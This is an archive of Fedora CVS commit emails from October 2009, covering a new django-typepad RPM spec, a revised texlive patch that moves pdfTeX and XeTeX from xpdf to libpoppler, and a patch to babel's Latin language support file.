@@ -823,6 +828,12 @@ fi
 %doc %{_texmf_main}/doc/
 
 %changelog
+* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
+- do not conflict with dvipdfm
+- update perl requires filter
+- update latin.ldf (#469948)
+- do not provide any perl dependencies (#516350)
+
 * Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-28
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From sdz at fedoraproject.org  Wed Oct 21 18:16:45 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 18:16:45 +0000 (UTC)
Subject: rpms/django-typepad/EL-5 django-typepad.spec, NONE, 1.1 import.log, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091021181645.16D2011C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-typepad/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9074/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	django-typepad.spec import.log 
Log Message:
initial import



--- NEW FILE django-typepad.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           django-typepad
Version:        1.0.1
Release:        1%{?dist}
Summary:        A helper Django app for making TypePad applications

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/typepadapp/
Source0:        http://pypi.python.org/packages/source/t/typepadapp/typepadapp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  Django python-devel python-setuptools-devel
Requires:       Django python-batchhttp python-feedparser python-httplib2
Requires:       python-oauth python-remoteobjects python-simplejson python-typepad

%description
The typepadapp Django application provides all the necessary
underpinnings for you to build TypePad cloud applications.

%prep
%setup -q -n typepadapp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/conf/project_template/app.wsgi
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2.js
chmod 0644 $RPM_BUILD_ROOT%{python_sitelib}/typepadapp/static/soundmanager/soundmanager2-nodebug-jsmin.js

%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0.1-1
- initial packaging


--- NEW FILE import.log ---
django-typepad-1_0_1-1_fc11:EL-5:django-typepad-1.0.1-1.fc11.src.rpm:1256148985


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:57:50 -0000	1.1
+++ .cvsignore	21 Oct 2009 18:16:44 -0000	1.2
@@ -0,0 +1 @@
+typepadapp-1.0.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/django-typepad/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:57:50 -0000	1.1
+++ sources	21 Oct 2009 18:16:44 -0000	1.2
@@ -0,0 +1 @@
+b60f7c4768264f56d40736c548a82c67  typepadapp-1.0.1.tar.gz



From jnovy at fedoraproject.org  Wed Oct 21 18:29:41 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 18:29:41 +0000 (UTC)
Subject: rpms/texlive/F-10 texlive-poppler.patch,1.3,1.4
Message-ID: <20091021182941.5CF9E11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13232

Modified Files:
	texlive-poppler.patch 
Log Message:
- use the oldest variant of poppler patch for F10


texlive-poppler.patch:
 configure                           |    6 ++---
 configure.in                        |    8 +++----
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++--
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   41 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   35 +++++++++++++++---------------
 texk/web2c/pdftexdir/utils.c        |    4 +--
 texk/web2c/xetexdir/XeTeX_ext.c     |    4 +--
 texk/web2c/xetexdir/pdfimage.cpp    |   24 ++++++++++++++++-----
 texk/web2c/xetexdir/xetex.mk        |   10 ++++++--
 10 files changed, 81 insertions(+), 60 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive-poppler.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- texlive-poppler.patch	21 Oct 2009 18:08:30 -0000	1.3
+++ texlive-poppler.patch	21 Oct 2009 18:29:41 -0000	1.4
@@ -1,59 +1,6 @@
-diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
---- texlive-2007/configure.in.poppler	2007-01-08 20:17:11.000000000 -0500
-+++ texlive-2007/configure.in	2008-11-11 22:38:31.000000000 -0500
-@@ -157,9 +157,9 @@ export needs_zlib
- 
- # we need libxpdf for pdf[ex]tex, xetex
- test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
--test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
--test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
--test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
-+test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
-+test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
-+test "$with_xetex"   != no    && : ${needs_libxpdf=no}
- : ${needs_libxpdf=no}
- export needs_libxpdf
- 
-@@ -207,7 +207,7 @@ dnl We cannot use variables (e.g. $LIBPN
- sinclude(libs/libpng/libpng.ac)
- sinclude(libs/zlib/zlib.ac)
- sinclude(libs/ncurses/ncurses.ac)
--sinclude(libs/xpdf/libxpdf.ac)
-+#sinclude(libs/xpdf/libxpdf.ac)
- sinclude(libs/t1lib/t1lib.ac)
- sinclude(libs/gd/gd.ac)
- sinclude(libs/freetype/freetype.ac)
-diff -up texlive-2007/configure.poppler texlive-2007/configure
---- texlive-2007/configure.poppler	2007-01-09 09:16:26.000000000 -0500
-+++ texlive-2007/configure	2008-11-11 22:38:31.000000000 -0500
-@@ -3442,9 +3442,9 @@ export needs_zlib
- 
- # we need libxpdf for pdf[ex]tex, xetex
- test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
--test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
--test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
--test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
-+test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
-+test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
-+test "$with_xetex"   != no    && : ${needs_libxpdf=no}
- : ${needs_libxpdf=no}
- export needs_libxpdf
- 
-diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
---- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2008-11-11 22:38:31.000000000 -0500
-@@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
-    (generated from ../lib/texmfmp.c).
- */
- 
--#define BANNER "This is pdfTeX, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
-+#define BANNER "This is pdfTeX using libpoppler, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
- #define COPYRIGHT_HOLDER "Peter Breitenlohner (eTeX)/Han The Thanh (pdfTeX)"
- #define AUTHOR NULL
- #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
---- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2007-11-28 11:53:15.000000000 +0100
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -83,8 +30,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  	cd $(pdftexdir) && $(MAKE) pdftosrc.o
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2007-11-28 11:53:15.000000000 +0100
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -155,9 +102,21 @@ diff -up texlive-2007/texk/web2c/pdftexd
          LinkDest *link = pdf_doc->doc->findDest(&name);
          if (link == 0 || !link->isOk())
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
+diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
+--- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2007-11-28 11:53:15.000000000 +0100
+@@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
+    (generated from ../lib/texmfmp.c).
+ */
+ 
+-#define BANNER "This is pdfTeX, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
++#define BANNER "This is pdfTeX using libpoppler, Version 3.141592-PDFTEX-VERSION-ETEX-VERSION"
+ #define COPYRIGHT_HOLDER "Peter Breitenlohner (eTeX)/Han The Thanh (pdfTeX)"
+ #define AUTHOR NULL
+ #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-26 18:37:34.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2007-11-28 12:03:48.000000000 +0100
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -206,14 +165,7 @@ diff -up texlive-2007/texk/web2c/pdftexd
      Stream *s;
      Object srcStream, srcName, catalogDict;
      FILE *outfile;
-@@ -56,13 +57,13 @@ int main(int argc, char *argv[])
-     int objnum = 0, objgen = 0;
-     bool extract_xref_table = false;
-     int c;
--    fprintf(stderr, "pdftosrc version %s\n", xpdfVersion);
-+    fprintf(stderr, "pdftosrc\n");
-     if (argc < 2) {
-         fprintf(stderr,
+@@ -62,7 +63,7 @@ int main(int argc, char *argv[])
                  "Usage: pdftosrc <PDF-file> [<stream-object-number>]\n");
          exit(1);
      }
@@ -223,9 +175,9 @@ diff -up texlive-2007/texk/web2c/pdftexd
      doc = new PDFDoc(fileName);
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
---- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 12:20:03.000000000 -0500
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2008-11-11 22:38:31.000000000 -0500
-@@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
+--- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2007-11-28 11:53:15.000000000 +0100
+@@ -37,7 +39,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
  #include "png.h"
@@ -234,21 +186,18 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
  #define check_nprintf(size_get, size_want) \
      if ((unsigned)(size_get) >= (unsigned)(size_want)) \
-@@ -1261,9 +1261,9 @@ void initversionstring(char **versions)
+@@ -1261,7 +1263,7 @@ void initversionstring(char **versions)
      (void) asprintf(versions,
                      "Compiled with libpng %s; using libpng %s\n"
                      "Compiled with zlib %s; using zlib %s\n"
 -                    "Compiled with xpdf version %s\n",
-+                    "Compiled with libpoppler\n",
++                    "Compiled with libpoppler version %s\n",
                      PNG_LIBPNG_VER_STRING, png_libpng_ver,
--                    ZLIB_VERSION, zlib_version, xpdfVersion);
-+                    ZLIB_VERSION, zlib_version);
+                     ZLIB_VERSION, zlib_version, xpdfVersion);
  }
- 
- 
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
---- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 05:29:12.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2007-11-28 11:53:15.000000000 +0100
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -288,8 +237,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
---- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 08:04:36.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2008-11-11 22:39:46.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2007-11-28 11:53:15.000000000 +0100
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -304,31 +253,13 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		"Compiled with fontconfig version %d.%d.%d; using %d.%d.%d\n"
  		"Compiled with libpng version %s; using %s\n"
 -		"Compiled with xpdf version %s\n"
-+		"Compiled with libpoppler\n"
++		"Compiled with libpoppler version %s\n"
  #endif
  		;
  
-@@ -205,7 +205,6 @@ void initversionstring(char **versions)
- #ifdef XETEX_OTHER
- 			+ strlen(PNG_LIBPNG_VER_STRING)
- 			+ strlen(png_libpng_ver)
--			+ strlen(xpdfVersion)
- 			+ 6 * 3 /* for fontconfig version #s (won't really need 3 digits per field!) */
- #endif
- 			+ 6 * 3; /* for freetype version #s (ditto) */
-@@ -229,8 +228,7 @@ void initversionstring(char **versions)
- 		,
- 		FC_VERSION / 10000, (FC_VERSION % 10000) / 100, FC_VERSION % 100,
- 		fc_version / 10000, (fc_version % 10000) / 100, fc_version % 100,
--		PNG_LIBPNG_VER_STRING, png_libpng_ver,
--		xpdfVersion
-+		PNG_LIBPNG_VER_STRING, png_libpng_ver
- #endif
- 		);
- }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2008-11-11 22:38:31.000000000 -0500
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2008-11-11 22:38:31.000000000 -0500
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2007-11-28 11:53:15.000000000 +0100
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2007-11-28 11:53:15.000000000 +0100
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk
@@ -367,3 +298,44 @@ diff -up texlive-2007/texk/web2c/xetexdi
  XeTeX_mac.o: $(srcdir)/xetexdir/XeTeX_mac.c xetexd.h
  	$(compile) $(ICUCFLAGS) $(TECKITFLAGS) $(ALL_CFLAGS) $(XETEX_DEFINES) -c $< -o $@
  
+diff -up texlive-2007/configure.poppler texlive-2007/configure
+--- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
++++ texlive-2007/configure	2007-11-28 11:53:15.000000000 +0100
+@@ -3442,9 +3442,9 @@ export needs_zlib
+ 
+ # we need libxpdf for pdf[ex]tex, xetex
+ test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
+-test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
+-test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
+-test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
++test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
++test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
++test "$with_xetex"   != no    && : ${needs_libxpdf=no}
+ : ${needs_libxpdf=no}
+ export needs_libxpdf
+ 
+diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
+--- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
++++ texlive-2007/configure.in	2007-11-28 11:53:15.000000000 +0100
+@@ -157,9 +157,9 @@ export needs_zlib
+ 
+ # we need libxpdf for pdf[ex]tex, xetex
+ test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
+-test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
+-test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
+-test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
++test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
++test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
++test "$with_xetex"   != no    && : ${needs_libxpdf=no}
+ : ${needs_libxpdf=no}
+ export needs_libxpdf
+ 
+@@ -207,7 +207,7 @@ dnl We cannot use variables (e.g. $LIBPN
+ sinclude(libs/libpng/libpng.ac)
+ sinclude(libs/zlib/zlib.ac)
+ sinclude(libs/ncurses/ncurses.ac)
+-sinclude(libs/xpdf/libxpdf.ac)
++#sinclude(libs/xpdf/libxpdf.ac)
+ sinclude(libs/t1lib/t1lib.ac)
+ sinclude(libs/gd/gd.ac)
+ sinclude(libs/freetype/freetype.ac)



From jnovy at fedoraproject.org  Wed Oct 21 18:42:26 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 18:42:26 +0000 (UTC)
Subject: rpms/texlive-texmf/F-10 texlive-2007-latin.patch, NONE,
	1.1 texlive-filter-requires.sh, 1.2, 1.3 texlive-texmf.spec,
	1.30, 1.31
Message-ID: <20091021184226.8082211C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive-texmf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16436

Modified Files:
	texlive-filter-requires.sh texlive-texmf.spec 
Added Files:
	texlive-2007-latin.patch 
Log Message:
* Tue Oct 20 2009 Jindrich Novy <jnovy at redhat.com> 2007-31
- do not conflict with dvipdfm
- update perl requires filter
- update latin.ldf (#469948)
- do not provide any perl dependencies (#516350)
- remove binaries from splitindex (#476636)
- add unowned dirs into the filelist (#474027)
- fix patch to brp-compress script (#468179)
- remove F8 related chunks from spec


texlive-2007-latin.patch:
 latin.ldf |  150 +++++++++++++++++++++-----------------------------------------
 1 file changed, 52 insertions(+), 98 deletions(-)

--- NEW FILE texlive-2007-latin.patch ---
diff -up texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf
--- texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf.latin	2006-08-27 20:22:43.000000000 +0200
+++ texlive-texmf-2007/texmf-dist/tex/generic/babel/latin.ldf	2009-10-15 21:09:44.000000000 +0200
@@ -5,47 +5,26 @@
 %% The original source files were:
 %%
 %% latin.dtx  (with options: `code')
+%% 
 %% This is a generated file.
 %% 
-%% Copyright 1989-2005 Johannes L. Braams and any individual authors
+%% Copyright 1989-2000 Johannes L. Braams and any individual authors
 %% listed elsewhere in this file.  All rights reserved.
 %% 
-%% This file was generated from file(s) of the Babel system.
-%% ---------------------------------------------------------
-%% 
-%% It may be distributed and/or modified under the
-%% conditions of the LaTeX Project Public License, either version 1.3
-%% of this license or (at your option) any later version.
-%% The latest version of this license is in
-%%   http://www.latex-project.org/lppl.txt
-%% and version 1.3 or later is part of all distributions of LaTeX
-%% version 2003/12/01 or later.
-%% 
-%% This work has the LPPL maintenance status "maintained".
-%% 
-%% The Current Maintainer of this work is Johannes Braams.
-%% 
-%% This file may only be distributed together with a copy of the Babel
-%% system. You may however distribute the Babel system without
-%% such generated files.
+%% This file is part of the Babel system release 3.7.
+%% --------------------------------------------------
 %% 
-%% The list of all files belonging to the Babel distribution is
-%% given in the file `manifest.bbl'. See also `legal.bbl for additional
-%% information.
-%% 
-%% The list of derived (unpacked) files belonging to the distribution
-%% and covered by LPPL is defined by the unpacking scripts (with
-%% extension .ins) which are part of the distribution.
-%% 
-%% Copyright 1999-2001 Claudio Beccari All rights reserved.
+%% It may be distributed under the terms of the LaTeX Project Public
+%% License, as described in lppl.txt in the base LaTeX distribution.
+%% Either version 1.1 or, at your option, any later version.
 \ProvidesFile{latin.ldf}
-        [2005/11/17 v2.0g Latin support from the babel system]
+        [2007/03/20 v.2.0f Latin support from the babel system]
 %% File `latin.dtx'
 %% Babel package for LaTeX version 2e
 %% Copyright (C) 1989 - 2005
 %%           by Johannes Braams, TeXniek
-%% Please report errors to: J.L. Braams babel at braams.cistron.nl
-%%                          Claudio Beccari beccari at polito.it
+%% Please report errors to: J.L. Braams
+%%                          JLBraams at cistron.nl
 \LdfInit{latin}{captionslatin}
 \ifx\l at latin\@undefined
     \@nopatterns{Latin}
@@ -56,10 +35,6 @@
   \expandafter\addto\expandafter\extraslatin
   \expandafter{\extrasmedievallatin}%
   }
-\bbl at declare@ttribute{latin}{withprosodicmarks}{%
-  \expandafter\addto\expandafter\extraslatin
-  \expandafter{\extraswithprosodicmarks}%
-  }
 \@namedef{captionslatin}{%
   \def\prefacename{Praefatio}%
   \def\refname{Conspectus librorum}%
@@ -84,11 +59,10 @@
   \def\glossaryname{Glossarium}%
   }
 \def\datelatin{%
-  \def\november{Novembris}%
+  \def\november{Novembris}
   \def\today{%
     {\check at mathfonts\fontsize\sf at size\z@\math at fontsfalse\selectfont
-      \uppercase\expandafter{\romannumeral\day}}\nobreakspace
-    \ifcase\month\or
+      \uppercase\expandafter{\romannumeral\day}}~\ifcase\month\or
     Ianuarii\or Februarii\or Martii\or Aprilis\or Maii\or Iunii\or
     Iulii\or Augusti\or Septembris\or Octobris\or \november\or
     Decembris\fi
@@ -105,19 +79,19 @@
 \babel at savevariable{\lccode`\V}%
 \babel at savevariable{\uccode`\u}%
 \lccode`\V=`\u \uccode`\u=`\V}
-\addto\extrasmedievallatin{%
-  \babel at savevariable{\lccode`\^^e6}% T1   \ae
-  \babel at savevariable{\uccode`\^^e6}% T1   \ae
-  \babel at savevariable{\lccode`\^^c6}% T1   \AE
-  \babel at savevariable{\lccode`\^^f7}% T1   \oe
-  \babel at savevariable{\uccode`\^^f7}% T1   \OE
-  \babel at savevariable{\lccode`\^^d7}% T1   \OE
-  \babel at savevariable{\lccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\uccode`\^^1a}% OT1  \ae
-  \babel at savevariable{\lccode`\^^1d}% OT1  \AE
-  \babel at savevariable{\lccode`\^^1b}% OT1  \oe
-  \babel at savevariable{\uccode`\^^1b}% OT1  \OE
-  \babel at savevariable{\lccode`\^^1e}% OT1  \OE
+\addto\extraslatin{%
+  \babel at savevariable{\lccode`\^^e6}% T1
+  \babel at savevariable{\uccode`\^^e6}% T1
+  \babel at savevariable{\lccode`\^^c6}% T1
+  \babel at savevariable{\lccode`\^^f7}% T1
+  \babel at savevariable{\uccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^d7}% T1
+  \babel at savevariable{\lccode`\^^1a}% OT1
+  \babel at savevariable{\uccode`\^^1a}% OT1
+  \babel at savevariable{\lccode`\^^1d}% OT1
+  \babel at savevariable{\lccode`\^^1b}% OT1
+  \babel at savevariable{\uccode`\^^1b}% OT1
+  \babel at savevariable{\lccode`\^^1e}% OT1
   \SetLatinLigatures}
 \providecommand\SetLatinLigatures{%
   \def\@tempA{T1}\ifx\@tempA\f at encoding
@@ -133,76 +107,56 @@
   \fi
   \let\@tempA\@undefined
   }
-\addto\extraslatin{\def\ProsodicMarksOn{%
-\GenericError{(latin)\@spaces\@spaces\@spaces\@spaces}%
-            {Latin language error: \string\ProsodicMarksOn\space
-            is defined by setting the\MessageBreak
-            language attribute to `withprosodicmarks'\MessageBreak
-            If you continue you are likely to encounter\MessageBreak
-            fatal errors that I can't recover}%
-            {See the Latin language description in the babel
-            documentation for explanation}{\@ehd}}}
-\addto\extraslatin{\let\ProsodicMarksOff\relax}
-\catcode`\= \active
-\catcode`\^ \active
-\addto\extraslatin{\languageshorthands{latin}}%
-\addto\extraswithprosodicmarks{\bbl at activate{^}}%
-\addto\extraswithprosodicmarks{\bbl at activate{=}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{^}}%
-\addto\noextraswithprosodicmarks{\bbl at deactivate{=}}%
-\addto\extraswithprosodicmarks{\ProsodicMarks}
-\def\ProsodicMarks{%
-\def\ProsodicMarksOn{\catcode`\^ 13\catcode`\= 13\relax}%
-\def\ProsodicMarksOff{\catcode`\^ 7\catcode`\= 12\relax}%
-\initiate at active@char{^}%
-\initiate at active@char{=}%
+\initiate at active@char{^}
+\initiate at active@char{=}
+\addto\extraslatin{\languageshorthands{latin}}
+\addto\extraslatin{\bbl at activate{^}}
+\addto\extraslatin{\bbl at activate{=}}
+\addto\noextraslatin{\bbl at deactivate{^}}
+\addto\noextraslatin{\bbl at deactivate{=}}
 \declare at shorthand{latin}{^a}{%
-    \textormath{\u{a}\bbl at allowhyphens}{\hat{a}}}%
+    \textormath{\u{a}\allowhyphens}{\hat{a}}}
 \declare at shorthand{latin}{^e}{%
-    \textormath{\u{e}\bbl at allowhyphens}{\hat{e}}}%
+    \textormath{\u{e}\nobreak\hskip\z at skip}{\hat{e}}}
 \declare at shorthand{latin}{^i}{%
-    \textormath{\u{\i}\bbl at allowhyphens}{\hat{\imath}}}%
+    \textormath{\u{\i}\nobreak\hskip\z at skip}{\hat{\imath}}}
 \declare at shorthand{latin}{^o}{%
-    \textormath{\u{o}\bbl at allowhyphens}{\hat{o}}}%
+    \textormath{\u{o}\nobreak\hskip\z at skip}{\hat{o}}}
 \declare at shorthand{latin}{^u}{%
-    \textormath{\u{u}\bbl at allowhyphens}{\hat{u}}}%
+    \textormath{\u{u}\nobreak\hskip\z at skip}{\hat{u}}}
 \declare at shorthand{latin}{=a}{%
-    \textormath{\={a}\bbl at allowhyphens}{\bar{a}}}%
+    \textormath{\={a}\nobreak\hskip\z at skip}{\bar{a}}}
 \declare at shorthand{latin}{=e}{%
-    \textormath{\={e}\bbl at allowhyphens}{\bar{e}}}%
+    \textormath{\={e}\nobreak\hskip\z at skip}{\bar{e}}}
 \declare at shorthand{latin}{=i}{%
-    \textormath{\={\i}\bbl at allowhyphens}{\bar{\imath}}}%
+    \textormath{\={\i}\nobreak\hskip\z at skip}{\bar{\imath}}}
 \declare at shorthand{latin}{=o}{%
-    \textormath{\={o}\bbl at allowhyphens}{\bar{o}}}%
+    \textormath{\={o}\nobreak\hskip\z at skip}{\bar{o}}}
 \declare at shorthand{latin}{=u}{%
-    \textormath{\={u}\bbl at allowhyphens}{\bar{u}}}%
-}
-\catcode`\= 12\relax
-\catcode`\^ 7\relax
+    \textormath{\={u}\nobreak\hskip\z at skip}{\bar{u}}}
 \addto\extraslatin{\def\LatinMarksOn{\shorthandon{^}\shorthandon{=}}}
 \addto\extraslatin{\def\LatinMarksOff{\shorthandoff{^}\shorthandoff{=}}}
-\addtoextraslatin{\LatinMarksOff}
+\catcode`\= 12\relax
+\catcode`\^ 7\relax
 \initiate at active@char{"}%
 \addto\extraslatin{\bbl at activate{"}%
 }
-\declare at shorthand{latin}{"}{%
-  \ifmmode
+\declare at shorthand{latin}{"}{\ifmmode
     \def\lt@@next{''}%
-  \else
+\else
     \def\lt@@next{\futurelet\lt at temp\lt at cwm}%
-  \fi
-  \lt@@next
+\fi
+\lt@@next
 }%
 \def\lt at allowhyphens{\nobreak\discretionary{-}{}{}\nobreak\hskip\z at skip}
 \newcommand*{\lt at cwm}{\let\lt at n@xt\relax
-  \ifcat\noexpand\lt at temp a%
+\ifcat\noexpand\lt at temp a%
